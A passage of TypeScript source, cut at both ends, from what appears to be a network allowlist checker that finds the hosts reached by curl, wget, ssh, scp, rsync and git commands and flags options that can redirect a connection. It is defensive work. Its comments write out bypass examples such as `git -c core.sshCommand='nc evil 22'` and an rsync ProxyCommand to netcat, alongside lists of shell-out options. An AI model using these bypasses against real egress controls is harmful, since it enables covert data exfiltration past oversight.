(!looksLikeHostTarget(target)) {\n\t\treturn null;\n\t}\n\n\tconst scpStyleMatch = target.match(/^[^@\\s]+@([^:/\\s]+):/);\n\tif (scpStyleMatch?.[1]) {\n\t\ttarget = scpStyleMatch[1];\n\t} else {\n\t\tconst sshUserHostMatch = target.match(\n\t\t\t/^[^@\\s]+@([^:/\\s]+)((?::\\d+)?(?:\\/.*)?)$/i,\n\t\t);\n\t\tif (sshUserHostMatch?.[1]) {\n\t\t\ttarget = `${sshUserHostMatch[1]}${sshUserHostMatch[2] ?? \"\"}`;\n\t\t}\n\t}\n\n\tif (!/^https?:\\/\\//i.test(target)) {\n\t\ttarget = `http://${target}`;\n\t}\n\n\treturn cleanExtractedUrl(target);\n}\n\n// `^[A-Za-z]:[\\\\/]` is a Windows drive path (e.g. `C:\\src` / `C:/src`).\n// The scp `host:path` regex below would otherwise parse the drive letter\n// as the remote host. Drive paths are local copies, not network targets.\nconst WINDOWS_DRIVE_PATH = /^[A-Za-z]:[\\\\/]/;\n\nfunction scpStyleTargetToUrl(value: string): string | null {\n\tconst target = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\tif (WINDOWS_DRIVE_PATH.test(target)) {\n\t\treturn null;\n\t}\n\tconst scpStyleMatch = target.match(\n\t\t/^(?:[^@\\s]+@)?(\\[[0-9a-f:.%]+\\]|[^:/\\s]+):(?:[^\\s]*)$/i,\n\t);\n\tconst host = scpStyleMatch?.[1];\n\treturn host ? cleanExtractedUrl(`http://${host}`) : null;\n}\n\nfunction rsyncStyleTargetToUrl(value: string): string | null {\n\tconst target = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t// `rsync://[user@]host[:port]/path`\n\tconst uriMatch = target.match(\n\t\t/^rsync:\\/\\/(?:[^@\\s]+@)?(\\[[0-9a-f:.%]+\\]|[^:/\\s]+)(?::\\d+)?/i,\n\t);\n\tif (uriMatch?.[1]) {\n\t\treturn cleanExtractedUrl(`http://${uriMatch[1]}`);\n\t}\n\t// daemon-style: `[user@]host::module[/path]` — exactly two colons separate\n\t// the host from the module name.\n\tconst daemonMatch = target.match(\n\t\t/^(?:[^@\\s]+@)?(\\[[0-9a-f:.%]+\\]|[^:/\\s]+)::/,\n\t);\n\tif (daemonMatch?.[1]) {\n\t\treturn cleanExtractedUrl(`http://${daemonMatch[1]}`);\n\t}\n\treturn null;\n}\n\nfunction networkTargetToUrl(commandName: string, value: string): string | null {\n\tconst url = targetToUrl(value);\n\tif (url) {\n\t\treturn url;\n\t}\n\tif (commandName === \"git\" || commandName === \"scp\") {\n\t\treturn scpStyleTargetToUrl(value);\n\t}\n\tif (commandName === \"rsync\") {\n\t\treturn rsyncStyleTargetToUrl(value) ?? scpStyleTargetToUrl(value);\n\t}\n\treturn null;\n}\n\nfunction isLocalGitTarget(value: string): boolean {\n\tconst target = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\treturn (\n\t\ttarget === \".\" ||\n\t\ttarget === \"..\" ||\n\t\ttarget.startsWith(\"./\") ||\n\t\ttarget.startsWith(\"../\") ||\n\t\ttarget.startsWith(\"/\") ||\n\t\ttarget.startsWith(\"~/\") ||\n\t\ttarget.startsWith(\"file://\")\n\t);\n}\n\nfunction hasShellExpansion(value: string): boolean {\n\treturn /[$`]|[<>]\\(/.test(value);\n}\n\nfunction networkFlagTakesValue(commandName: string, flag: string): boolean {\n\tif (commandName === \"curl\" && (flag === \"-i\" || flag === \"-p\")) {\n\t\treturn false;\n\t}\n\tif (commandName === \"rsync\") {\n\t\t// rsync's short-flag space barely overlaps with the curl/wget table\n\t\t// — many entries there (`-o`, `-i`, `-H`, `-c`, ...) are *boolean*\n\t\t// in rsync, so use a dedicated set and ignore the generic one.\n\t\treturn RSYNC_FLAGS_WITH_VALUES.has(flag);\n\t}\n\n\treturn FLAGS_WITH_VALUES.has(flag);\n}\n\n// Options whose value triggers a shell-out or otherwise lets the caller\n// redirect the connection in opaque ways. OpenSSH config option names are\n// case-insensitive — these entries are lowercased before lookup.\nconst OPAQUE_SSH_COMMAND_OPTIONS = new Set([\n\t\"proxycommand\",\n\t\"remotecommand\",\n\t\"localcommand\",\n\t\"knownhostscommand\",\n\t// Permits arbitrary local execution via the matching `LocalCommand` /\n\t// `~/.ssh/rc` mechanisms.\n\t\"permitlocalcommand\",\n\t// `Match exec <command>` runs the matcher's <command> at evaluation time.\n\t\"match\",\n\t// A pipe-prefixed `ControlPath` (`|cmd args`) executes the command.\n\t\"controlpath\",\n\t// Lets the caller smuggle env vars (e.g. `LD_PRELOAD=`) into the\n\t// child shell.\n\t\"setenv\",\n\t// Redirects the auth-agent socket — attacker socket can capture keys\n\t// or proxy to a different agent.\n\t\"identityagent\",\n\t// `Include` pulls additional config from a path the attacker chooses.\n\t\"include\",\n\t// Wholesale reassigns the user/host pair; `Hostname` is the canonical\n\t// \"where the connection really goes\" override.\n\t\"hostname\",\n\t// ProxyJump (-J) routes the connection through one or more bastion hosts\n\t// before reaching the positional destination. Like HostName, the static\n\t// positional check can't reason about the jumped-through hops, so any\n\t// presence forces fail-closed.\n\t\"proxyjump\",\n]);\n\n// scp shares OpenSSH's option parser and accepts the same opaque options.\nconst OPAQUE_SSH_CARRIER_COMMANDS = new Set([\"ssh\", \"sftp\", \"scp\"]);\n\nfunction findOpaqueSshOption(\n\tcommandName: string,\n\targs: string[],\n): string | null {\n\tif (!OPAQUE_SSH_CARRIER_COMMANDS.has(commandName)) {\n\t\treturn null;\n\t}\n\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\tlet optionToken: string | null = null;\n\t\tif (arg === \"-o\" && index + 1 < args.length) {\n\t\t\toptionToken = args[index + 1]!;\n\t\t\t// Skip the next arg in the outer for-loop. The increment here is\n\t\t\t// in addition to the loop's own `+= 1`, so the net effect is\n\t\t\t// `index += 2` — one for the `-o` flag and one for its value.\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"-o\") && arg.length > 2) {\n\t\t\toptionToken = arg.slice(2);\n\t\t} else if (arg === \"-F\" || arg.startsWith(\"-F\")) {\n\t\t\t// `-F path` (or `-Fpath`) selects an alternate ssh_config file. An\n\t\t\t// attacker-controlled config can contain `ProxyCommand=...` etc.,\n\t\t\t// so we treat any non-default config file as opaque. The legitimate\n\t\t\t// `-F /dev/null` and `-F none` forms (disable config) are\n\t\t\t// explicitly allowed.\n\t\t\tconst inline = arg === \"-F\" ? args[index + 1] : arg.slice(2);\n\t\t\tif (arg === \"-F\") {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tif (inline && inline !== \"/dev/null\" && inline !== \"none\") {\n\t\t\t\treturn `-F ${inline}`;\n\t\t\t}\n\t\t\tcontinue;\n\t\t} else if (arg === \"-J\" || arg.startsWith(\"-J\")) {\n\t\t\t// `-J host[,host2…]` is the ProxyJump shorthand for\n\t\t\t// `-o ProxyJump=host`. Any presence is opaque for the same reason\n\t\t\t// as the long form — the connection actually traverses the jump\n\t\t\t// hosts, which the positional-host check can't reason about.\n\t\t\tconst inline = arg === \"-J\" ? args[index + 1] : arg.slice(2);\n\t\t\tif (arg === \"-J\") {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tif (inline) {\n\t\t\t\treturn `-J ${inline}`;\n\t\t\t}\n\t\t\tcontinue;\n\t\t} else if (arg === \"-W\" || arg.startsWith(\"-W\")) {\n\t\t\t// `-W host:port` forwards client stdio over the secure channel to\n\t\t\t// `host:port`, so the effective TCP destination is that\n\t\t\t// `host:port` rather than (only) the positional ssh server. The\n\t\t\t// positional check only validates the ssh server, so any presence\n\t\t\t// is opaque.\n\t\t\tconst inline = arg === \"-W\" ? args[index + 1] : arg.slice(2);\n\t\t\tif (arg === \"-W\") {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tif (inline) {\n\t\t\t\treturn `-W ${inline}`;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!optionToken) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t// OpenSSH ignores leading whitespace before parsing the `key=value`\n\t\t// payload, so normalize that first before splitting on the first\n\t\t// whitespace or `=` separator.\n\t\tconst normalizedOptionToken = optionToken.trimStart();\n\t\tconst separatorMatch = normalizedOptionToken.match(/[\\s=]/);\n\t\tconst rawKey = separatorMatch\n\t\t\t? normalizedOptionToken.slice(0, separatorMatch.index)\n\t\t\t: normalizedOptionToken;\n\t\tconst key = rawKey?.trim().toLowerCase();\n\t\tif (key && OPAQUE_SSH_COMMAND_OPTIONS.has(key)) {\n\t\t\treturn rawKey?.trim() ?? key;\n\t\t}\n\t}\n\n\treturn null;\n}\n\n// `rsync` doesn't accept OpenSSH-style `-o` options, but it does take a\n// `-e COMMAND` / `--rsh=COMMAND` value that is invoked verbatim as the\n// transport shell — the canonical bypass is\n// `rsync -e 'ssh -o ProxyCommand=nc evil 22' src user@allowed:/dst`.\n// We treat any `-e` / `--rsh=` value other than the literal `ssh` default\n// as opaque: the value is a free-form shell command, so once it diverges\n// from the well-known default we can no longer reason about which host\n// the rsync invocation actually reaches.\nfunction findOpaqueRsyncOption(\n\tcommandName: string,\n\targs: string[],\n): string | null {\n\tif (commandName !== \"rsync\") {\n\t\treturn null;\n\t}\n\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\tlet value: string | null = null;\n\t\tlet display: string | null = null;\n\t\tif (arg === \"-e\" && index + 1 < args.length) {\n\t\t\tvalue = args[index + 1]!;\n\t\t\tdisplay = `-e ${value}`;\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"-e\") && arg.length > 2) {\n\t\t\tvalue = arg.slice(2);\n\t\t\tdisplay = arg;\n\t\t} else if (arg === \"--rsh\" && index + 1 < args.length) {\n\t\t\tvalue = args[index + 1]!;\n\t\t\tdisplay = `--rsh ${value}`;\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"--rsh=\")) {\n\t\t\tvalue = arg.slice(\"--rsh=\".length);\n\t\t\tdisplay = arg;\n\t\t}\n\n\t\tif (value === null) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst normalized = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t\tif (normalized === \"ssh\") {\n\t\t\tcontinue;\n\t\t}\n\n\t\treturn display ?? value;\n\t}\n\n\treturn null;\n}\n\n// `curl` and `wget` both accept config-file flags whose contents are\n// arbitrary directives (proxy, DNS overrides, redirects, etc.). Treat any\n// reference to a non-default config file as opaque — analogous to ssh's\n// `-F` handling — because the directives inside the file cannot be\n// statically validated against the allowlist.\n//\n// `curl --resolve HOST:PORT:IP` and `curl --connect-to HOST:PORT:H2:P2`\n// also bypass the host check by remapping the TCP destination without\n// changing the request's Host header. Same fail-closed posture as\n// ssh's `HostName`/`ProxyJump`.\n//\n// `wget -e EXPR` / `wget --execute=EXPR` evaluates a .wgetrc-style\n// directive in the same way `--config` does, so we treat it the same.\nconst CURL_OPAQUE_LONG_FLAGS = new Set([\n\t\"--resolve\",\n\t\"--connect-to\",\n\t\"--config\",\n]);\nconst WGET_OPAQUE_LONG_FLAGS = new Set([\"--config\", \"--execute\"]);\n\nfunction findOpaqueHttpClientOption(\n\tcommandName: string,\n\targs: string[],\n): string | null {\n\tif (commandName !== \"curl\" && commandName !== \"wget\") {\n\t\treturn null;\n\t}\n\n\tconst longFlags =\n\t\tcommandName === \"curl\" ? CURL_OPAQUE_LONG_FLAGS : WGET_OPAQUE_LONG_FLAGS;\n\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\t// Long-form flag with explicit `=value`.\n\t\tfor (const flag of longFlags) {\n\t\t\tif (arg.startsWith(`${flag}=`)) {\n\t\t\t\tconst value = arg.slice(flag.length + 1);\n\t\t\t\tif (flag === \"--config\" && (value === \"/dev/null\" || value === \"\")) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn arg;\n\t\t\t}\n\t\t}\n\n\t\t// Long-form flag followed by a separate value token.\n\t\tif (longFlags.has(arg)) {\n\t\t\tconst value = args[index + 1];\n\t\t\tindex += 1;\n\t\t\tif (\n\t\t\t\targ === \"--config\" &&\n\t\t\t\t(value === undefined || value === \"/dev/null\" || value === \"\")\n\t\t\t) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\treturn value ? `${arg} ${value}` : arg;\n\t\t}\n\n\t\t// Short forms: `curl -K FILE`, `curl -KFILE`, `wget -e EXPR`.\n\t\tif (commandName === \"curl\" && (arg === \"-K\" || arg.startsWith(\"-K\"))) {\n\t\t\tif (arg === \"-K\") {\n\t\t\t\tconst value = args[index + 1];\n\t\t\t\tindex += 1;\n\t\t\t\tif (value === undefined || value === \"/dev/null\" || value === \"\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn `-K ${value}`;\n\t\t\t}\n\t\t\tif (arg.length > 2) {\n\t\t\t\tconst value = arg.slice(2);\n\t\t\t\tif (value === \"/dev/null\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn arg;\n\t\t\t}\n\t\t}\n\n\t\tif (commandName === \"wget\" && (arg === \"-e\" || arg.startsWith(\"-e\"))) {\n\t\t\tif (arg === \"-e\") {\n\t\t\t\tconst value = args[index + 1];\n\t\t\t\tindex += 1;\n\t\t\t\tif (value === undefined || value === \"\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn `-e ${value}`;\n\t\t\t}\n\t\t\tif (arg.length > 2) {\n\t\t\t\treturn arg;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn null;\n}\n\n// `git -c` lets the caller set any git config key, including the ones that\n// resolve to a shell command. The canonical bypass is\n// `git -c core.sshCommand='nc evil 22' clone ...` — the matched\n// subcommand-args path never sees those values because git's parser\n// consumes the `-c` before reaching the subcommand. Mirror that here.\nconst OPAQUE_GIT_CONFIG_KEYS = new Set([\n\t\"core.sshcommand\",\n\t\"protocol.ext.allow\",\n\t\"gpg.ssh.allowedsignerscommand\",\n\t\"gpg.ssh.revocationfile\",\n\t\"gpg.program\",\n\t\"credential.helper\",\n\t\"http.proxy\",\n\t\"http.proxysslcainfo\",\n\t\"http.proxysslcert\",\n\t\"http.proxysslkey\",\n\t\"http.sslcainfo\",\n\t\"url.<base>.insteadof\",\n]);\n\nfunction findOpaqueGitConfigOption(args: string[]): string | null {\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\tlet value: string | null = null;\n\t\tlet display = \"-c\";\n\t\tif (arg === \"-c\" && index + 1 < args.length) {\n\t\t\tvalue = args[index + 1]!;\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"-c\") && arg !== \"-c\") {\n\t\t\tvalue = arg.slice(2);\n\t\t} else if (arg === \"--config-env\" && index + 1 < args.length) {\n\t\t\t// `git --config-env <KEY>=<ENVVAR>` is the env-indirected form of\n\t\t\t// `-c <KEY>=<value>` — same shell-out risk, different syntax.\n\t\t\t// Treat it identically and only look at the <KEY> half.\n\t\t\tvalue = args[index + 1]!;\n\t\t\tdisplay = \"--config-env\";\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"--config-env=\")) {\n\t\t\tvalue = arg.slice(\"--config-env=\".length);\n\t\t\tdisplay = \"--config-env\";\n\t\t} else {\n\t\t\tconst [flag] = arg.split(\"=\", 1);\n\t\t\tif (\n\t\t\t\tflag &&\n\t\t\t\tGIT_GLOBAL_FLAGS_WITH_VALUES.has(flag) &&\n\t\t\t\t!arg.includes(\"=\") &&\n\t\t\t\tindex + 1 < args.length\n\t\t\t) {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t}\n\n\t\t// Stop scanning when we reach the git subcommand — anything after\n\t\t// that is its own argument set.\n\t\tif (!arg.startsWith(\"-\")) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif (!value) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst [rawKey] = value.split(\"=\", 1);\n\t\tconst key = rawKey?.trim().toLowerCase();\n\t\tif (!key) {\n\t\t\tcontinue;\n\t\t}\n\t\t// Direct match — keep the exhaustive list focused on shell-out and\n\t\t// signing/credential redirection vectors.\n\t\tif (OPAQUE_GIT_CONFIG_KEYS.has(key)) {\n\t\t\treturn `${display} ${rawKey?.trim() ?? key}`;\n\t\t}\n\t\t// `url.<base>.insteadOf` rewrites the URL silently and is keyed by\n\t\t// the attacker-chosen `<base>`, so match by suffix instead of the\n\t\t// placeholder entry above.\n\t\tif (\n\t\t\tkey.startsWith(\"url.\") &&\n\t\t\t(key.endsWith(\".insteadof\") || key.endsWith(\".pushinsteadof\"))\n\t\t) {\n\t\t\treturn `${display} ${rawKey?.trim() ?? key}`;\n\t\t}\n\t}\n\n\treturn null;\n}\n\nfunction nonFlagArgs(commandName: string, args: string[]): string[] {\n\tconst values: string[] = [];\n\tlet skipNext = false;\n\n\tfor (const arg of args) {\n\t\tif (skipNext) {\n\t\t\tskipNext = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (arg.startsWith(\"-\")) {\n\t\t\tif (!arg.includes(\"=\") && networkFlagTakesValue(commandName, arg)) {\n\t\t\t\tskipNext = true;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tvalues.push(arg);\n\t}\n\n\treturn values;\n}\n\nfunction gitCloneNonFlagArgs(args: string[]): string[] {\n\treturn gitNonFlagArgs(args, GIT_CLONE_FLAGS_WITH_VALUES);\n}\n\nfunction gitNonFlagArgs(\n\targs: string[],\n\tflagsWithValues: Set<string>,\n): string[] {\n\tconst values: string[] = [];\n\tlet skipNext = false;\n\tlet optionsEnded = false;\n\n\tfor (const arg of args) {\n\t\tif (skipNext) {\n\t\t\tskipNext = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!optionsEnded && arg === \"--\") {\n\t\t\toptionsEnded = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!optionsEnded && arg.startsWith(\"-\")) {\n\t\t\tconst [flag] = arg.split(\"=\", 1);\n\t\t\tif (flag && flagsWithValues.has(flag) && !arg.includes(\"=\")) {\n\t\t\t\tskipNext = true;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tvalues.push(arg);\n\t}\n\n\treturn values;\n}\n\nfunction gitRemoteTargetArgs(args: string[]): string[] {\n\tconst targets = gitNonFlagArgs(args, GIT_REMOTE_ADD_FLAGS_WITH_VALUES);\n\tconst action = targets[0]?.toLowerCase();\n\tif (action === \"add\") {\n\t\treturn targets.slice(2, 3);\n\t}\n\tif (action === \"set-url\") {\n\t\treturn targets.slice(2);\n\t}\n\tif (action && !GIT_REMOTE_LOCAL_ACTIONS.has(action)) {\n\t\treturn targets.slice(0, 1);\n\t}\n\treturn [];\n}\n\nfunction gitConfigTargetArgs(args: string[]): string[] {\n\tconst targets = gitNonFlagArgs(args, GIT_CONFIG_FLAGS_WITH_VALUES);\n\tconst key = targets[0];\n\tif (!key || targets.length < 2) {\n\t\treturn [];\n\t}\n\n\tconst rewriteTarget = key.match(\n\t\t/^url\\.(.+)\\.(?:insteadof|pushinsteadof)$/i,\n\t)?.[1];\n\tif (rewriteTarget) {\n\t\treturn [rewriteTarget];\n\t}\n\n\tif (\n\t\t/^remote\\..+\\.(?:push)?url$/i.test(key) ||\n\t\t/^submodule\\..+\\.url$/i.test(key)\n\t) {\n\t\treturn targets.slice(1, 2);\n\t}\n\n\treturn [];\n}\n\nfunction gitConfigCommandIsLocal(args: string[]): boolean {\n\treturn gitConfigTargetArgs(args).length === 0;\n}\n\nfunction gitRemoteCommandIsLocal(args: string[]): boolean {\n\tconst targets = gitNonFlagArgs(args, GIT_REMOTE_ADD_FLAGS_WITH_VALUES);\n\tconst action = targets[0]?.toLowerCase();\n\tif (!action || GIT_REMOTE_LOCAL_ACTIONS.has(action)) {\n\t\treturn true;\n\t}\n\tif (action === \"add\") {\n\t\treturn targets.length < 3;\n\t}\n\tif (action === \"set-url\") {\n\t\treturn targets.length < 3;\n\t}\n\treturn false;\n}\n\nfunction gitSubmoduleTargetArgs(args: string[]): string[] {\n\tconst targets = gitNonFlagArgs(args, GIT_SUBMODULE_ADD_FLAGS_WITH_VALUES);\n\tconst action = targets[0]?.toLowerCase();\n\tif (!action || GIT_SUBMODULE_LOCAL_ACTIONS.has(action)) {\n\t\treturn [];\n\t}\n\tif (action === \"add\") {\n\t\treturn targets.slice(1, 2);\n\t}\n\treturn targets.slice(0, 1);\n}\n\nfunction gitSubmoduleCommandIsLocal(args: string[]): boolean {\n\tconst targets = gitNonFlagArgs(args, GIT_SUBMODULE_ADD_FLAGS_WITH_VALUES);\n\tconst action = targets[0]?.toLowerCase();\n\treturn !action || GIT_SUBMODULE_LOCAL_ACTIONS.has(action);\n}\n\nfunction gitArchiveTargetArgs(args: string[]): string[] {\n\tconst targets: string[] = [];\n\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\t\tif (arg === \"--remote\" && index + 1 < args.length) {\n\t\t\ttargets.push(args[index + 1]!);\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\t\tif (arg.startsWith(\"--remote=\")) {\n\t\t\tconst target = arg.slice(\"--remote=\".length);\n\t\t\tif (target) {\n\t\t\t\ttargets.push(target);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn targets;\n}\n\nfunction networkTargetArgs(\n\tcommandName: string,\n\targs: string[],\n\tgitSubcommand: string | null,\n): string[] {\n\tconst targets =\n\t\tcommandName === \"git\" && gitSubcommand === \"clone\"\n\t\t\t? gitCloneNonFlagArgs(args)\n\t\t\t: nonFlagArgs(commandName, args);\n\n\tif (commandName === \"git\") {\n\t\tif (gitSubcommand === \"archive\") {\n\t\t\treturn gitArchiveTargetArgs(args);\n\t\t}\n\t\tif (gitSubcommand === \"config\") {\n\t\t\treturn gitConfigTargetArgs(args);\n\t\t}\n\t\tif (gitSubcommand === \"remote\") {\n\t\t\treturn gitRemoteTargetArgs(args);\n\t\t}\n\t\tif (gitSubcommand === \"submodule\") {\n\t\t\treturn gitSubmoduleTargetArgs(args);\n\t\t}\n\t\treturn targets.slice(0, 1);\n\t}\n\n\tif (commandName === \"scp\") {\n\t\t// scp uses the generic flag table, so the positionals returned by\n\t\t// `nonFlagArgs` already correspond to the user's source/destination\n\t\t// list. Filter for ones that look like remote endpoints.\n\t\treturn targets.filter(\n\t\t\t(arg) => networkTargetToUrl(commandName, arg) !== null,\n\t\t);\n\t}\n\n\tif (commandName === \"rsync\") {\n\t\t// rsync has its own flag table (`RSYNC_FLAGS_WITH_VALUES`) so the\n\t\t// nonFlagArgs parser correctly skips the values of `--exclude`,\n\t\t// `--info`, `-f`, `-B`, etc. The bypass Cursor Bugbot flagged on\n\t\t// PR #2756 is the symmetric case: an attacker writes\n\t\t// `rsync --exclude user@evil.com:/src /local`. The parser eats\n\t\t// `user@evil.com:/src` as `--exclude`'s value, leaves `/local` as\n\t\t// the only positional, and `rsyncCommandIsLocal` classifies the\n\t\t// command as fully local — so the remote never reaches the\n\t\t// allowlist gate.\n\t\t//\n\t\t// Defense in depth: scan ALL args (not just positionals) for\n\t\t// tokens that look like remote endpoints. False positives are\n\t\t// acceptable (a deliberate `--exclude` pattern that happens to\n\t\t// resemble `user@host:path` will be policy-checked; the user can\n\t\t// adjust their pattern or allowlist). False *negatives* are not.\n\t\treturn args.filter((arg) => networkTargetToUrl(commandName, arg) !== null);\n\t}\n\n\tif (\n\t\tcommandName === \"nc\" ||\n\t\tcommandName === \"ncat\" ||\n\t\tcommandName === \"netcat\" ||\n\t\tcommandName === \"ssh\" ||\n\t\tcommandName === \"sftp\" ||\n\t\tcommandName === \"telnet\" ||\n\t\tcommandName === \"ftp\"\n\t) {\n\t\treturn targets.slice(0, 1);\n\t}\n\n\treturn targets;\n}\n\nfunction scpCommandIsLocal(args: string[]): boolean {\n\tconst targets = nonFlagArgs(\"scp\", args);\n\treturn (\n\t\ttargets.length > 0 &&\n\t\ttargets.every((arg) => {\n\t\t\tconst target = arg.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t\t\tif (target.length === 0 || hasShellExpansion(target)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (/^scp:\\/\\//i.test(target)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Windows drive paths like `C:\\src` legitimately contain a colon\n\t\t\t// but are local. Anything else with a colon is treated as a\n\t\t\t// potential remote scp host.\n\t\t\tif (WINDOWS_DRIVE_PATH.test(target)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn !target.includes(\":\");\n\t\t})\n\t);\n}\n\nfunction rsyncCommandIsLocal(args: string[]): boolean {\n\tconst targets = nonFlagArgs(\"rsync\", args);\n\treturn (\n\t\ttargets.length > 0 &&\n\t\ttargets.every((arg) => {\n\t\t\tconst target = arg.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t\t\tif (target.length === 0 || hasShellExpansion(target)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// `rsync://…` and the daemon-style `host::module/path` syntaxes\n\t\t\t// both reach the network.\n\t\t\tif (/^rsync:\\/\\//i.test(target) || target.includes(\"::\")) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (WINDOWS_DRIVE_PATH.test(target)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t// A single colon (with no leading scheme) is rsync's ssh-style\n\t\t\t// `host:path` notation; treat it as remote.\n\t\t\treturn !target.includes(\":\");\n\t\t})\n\t);\n}\n\nfunction nextGitSubcommandToken(\n\targs: string[],\n): { subcommand: string; args: string[] } | null {\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\t\tif (arg === \"--\") {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst [flag] = arg.split(\"=\", 1);\n\t\tif (\n\t\t\tflag &&\n\t\t\tGIT_GLOBAL_FLAGS_WITH_VALUES.has(flag) &&\n\t\t\t!arg.includes(\"=\") &&\n\t\t\tindex + 1 < args.length\n\t\t) {\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\t\tif (arg.startsWith(\"-c\") && arg !== \"-c\") {\n\t\t\tcontinue;\n\t\t}\n\t\tif (arg.startsWith(\"--\")) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (arg.startsWith(\"-\")) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst subcommand = arg.toLowerCase();\n\t\treturn { subcommand, args: args.slice(index + 1) };\n\t}\n\n\treturn null;\n}\n\nfunction gitSubcommandInvocation(\n\targs: string[],\n): { subcommand: string; args: string[] } | null {\n\tconst invocation = nextGitSubcommandToken(args);\n\tif (!invocation) {\n\t\treturn null;\n\t}\n\n\tif (NETWORK_GIT_SUBCOMMANDS.has(invocation.subcommand)) {\n\t\treturn invocation;\n\t}\n\n\tif (!GIT_NESTED_SUBCOMMAND_WRAPPERS.has(invocation.subcommand)) {\n\t\treturn null;\n\t}\n\n\tconst nestedInvocation = nextGitSubcommandToken(invocation.args);\n\treturn nestedInvocation &&\n\t\tNETWORK_GIT_SUBCOMMANDS.has(nestedInvocation.subcommand)\n\t\t? nestedInvocation\n\t\t: null;\n}\n\n/**\n * Extract URLs from any value recursively.\n *\n * Handles strings, arrays, and objects. URLs are cleaned of trailing\n * punctuation that commonly gets captured in regex matches.\n *\n * @example\n * extractUrlsFromValue(\"Check https://example.com for details\")\n * // Returns: [\"https://example.com\"]\n *\n * extractUrlsFromValue({ url: \"https://api.example.com\", nested: { link: \"https://other.com\" } })\n * // Returns: [\"https://api.example.com\", \"https://other.com\"]\n *\n * @param value - Value to extract URLs from (string, array, or object)\n * @returns Array of extracted URLs\n */\nexport function extractUrlsFromValue(value: unknown): string[] {\n\tconst urls: string[] = [];\n\n\tfunction extract(val: unknown): void {\n\t\tif (typeof val === \"string\") {\n\t\t\tconst matches = val.match(URL_PATTERN);\n\t\t\tif (matches) {\n\t\t\t\tfor (const match of matches) {\n\t\t\t\t\t// Trim common trailing punctuation that gets captured\n\t\t\t\t\turls.push(cleanExtractedUrl(match));\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (Array.isArray(val)) {\n\t\t\tfor (const item of val) {\n\t\t\t\textract(item);\n\t\t\t}\n\t\t} else if (val && typeof val === \"object\") {\n\t\t\tfor (const v of Object.values(val)) {\n\t\t\t\textract(v);\n\t\t\t}\n\t\t}\n\t}\n\n\textract(value);\n\treturn urls;\n}\n\n/**\n * Extract URLs from curl/wget shell commands.\n *\n * Parses command arguments and extracts URL-like strings.\n * Automatically adds http:// prefix for bare hostnames.\n *\n * @example\n * extractUrlsFromShellCommand(\"curl https://api.example.com/data\")\n * // Returns: [\"https://api.example.com/data\"]\n *\n * extractUrlsFromShellCommand(\"wget example.com/file.txt\")\n * // Returns: [\"http://example.com/file.txt\"]\n *\n * extractUrlsFromShellCommand(\"curl -X POST https://api.example.com -d '{}'\")\n * // Returns: [\"https://api.example.com\"]\n *\n * @param command - Shell command string\n * @returns Array of extracted URLs\n */\nexport function extractUrlsFromShellCommand(command: string): string[] {\n\tconst urls: string[] = [];\n\n\tfor (const segment of allCommandSegments(command)) {\n\t\tconst invocation = unwrapNetworkInvocation(segment);\n\t\tif (!invocation) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tlet args = invocation.args;\n\t\tlet gitSubcommand: string | null = null;\n\t\tif (invocation.commandName === \"git\") {\n\t\t\tconst gitInvocation = gitSubcommandInvocation(args);\n\t\t\tif (!gitInvocation) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\targs = gitInvocation.args;\n\t\t\tgitSubcommand = 